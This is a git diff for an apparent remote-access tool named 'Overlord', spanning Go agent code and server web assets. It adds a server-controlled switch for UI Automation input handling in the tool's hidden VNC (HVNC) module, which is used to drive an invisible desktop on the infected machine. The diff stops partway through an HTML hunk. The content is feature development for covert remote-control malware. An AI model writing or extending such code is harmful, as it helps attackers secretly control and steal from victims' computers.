diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go index 332e78d..bcc4a9a 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go @@ -19,6 +19,10 @@ func SetHVNCDXGIEnabled(enabled bool) {} func GetHVNCDXGIEnabled() bool { return false } +func SetHVNCUIAEnabled(enabled bool) {} + +func GetHVNCUIAEnabled() bool { return false } + func hvncCaptureDisplay(display int) (*image.RGBA, error) { return nil, errors.New("HVNC not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 9d6de35..7b52d94 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -1082,7 +1082,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error { procSetFocus.Call(hitHwnd) } - if isWinUI3Window(hitHwnd) { + if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) { uiaHandleDragMove(pt) uiaHandleMouseMove(hitHwnd, pt) return nil @@ -1111,7 +1111,7 @@ func hvncMouseButtonOnThread(button int, down bool) error { } // WinUI3 branch: route through UIA patterns - if isWinUI3Window(hitHwnd) { + if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) { return uiaHandleMouseButton(hitHwnd, pt, button, down) } @@ -1233,7 +1233,7 @@ func hvncKeyOnThread(vk uint16, down bool) error { } updateModifierState(vk, down) - if isWinUI3Window(hwnd) { + if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) { if isModifierVK(vk) { return nil } @@ -1506,7 +1506,7 @@ func hvncMouseWheelOnThread(delta int32) error { } } - if isWinUI3Window(hwnd) { + if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) { return uiaHandleMouseWheel(hwnd, pt, delta) } @@ -1704,9 +1704,11 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) { var dxgiFrameBuf []byte var hvncDXGIEnabled atomic.Bool +var hvncUIAEnabled atomic.Bool func init() { - hvncDXGIEnabled.Store(true) // enabled by default + hvncDXGIEnabled.Store(false) // disabled by default + hvncUIAEnabled.Store(false) // disabled by default } func SetHVNCDXGIEnabled(enabled bool) { @@ -1717,6 +1719,14 @@ func GetHVNCDXGIEnabled() bool { return hvncDXGIEnabled.Load() } +func SetHVNCUIAEnabled(enabled bool) { + hvncUIAEnabled.Store(enabled) +} + +func GetHVNCUIAEnabled() bool { + return hvncUIAEnabled.Load() +} + func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool { if !hvncDXGIEnabled.Load() { return false diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index c25e5e7..2145976 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1071,6 +1071,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.SetHVNCDXGIEnabled(dxgiEnabled) sendCommandResultSafe(env, cmdID, true, "") return nil + case "hvnc_enable_uia": + payload, _ := envelope["payload"].(map[string]interface{}) + uiaEnabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + uiaEnabled = v + } + } + log.Printf("hvnc: UIA support %v", uiaEnabled) + capture.SetHVNCUIAEnabled(uiaEnabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil case "hvnc_set_resolution": payload, _ := envelope["payload"].(map[string]interface{}) maxH := 1080 diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index fdb1360..f92a6b0 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -73,12 +73,14 @@ import { checkFeatureAccess } from "./feature-gate.js"; const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); const dxgiCtrl = document.getElementById("dxgiCtrl"); + const uiaCtrl = document.getElementById("uiaCtrl"); const hvncResolutionSelect = document.getElementById("hvncResolutionSelect"); function syncInputEnableState() { if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked }); + if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked }); pushHvncResolution(); } let activeClientId = clientId; @@ -619,6 +621,11 @@ import { checkFeatureAccess } from "./feature-gate.js"; sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked }); }); } + if (uiaCtrl) { + uiaCtrl.addEventListener("change", function () { + sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked }); + }); + } function pushHvncResolution() { if (hvncResolutionSelect) { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index a4172aa..711b87c 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -137,6 +137,9 @@ > DXGI Capture +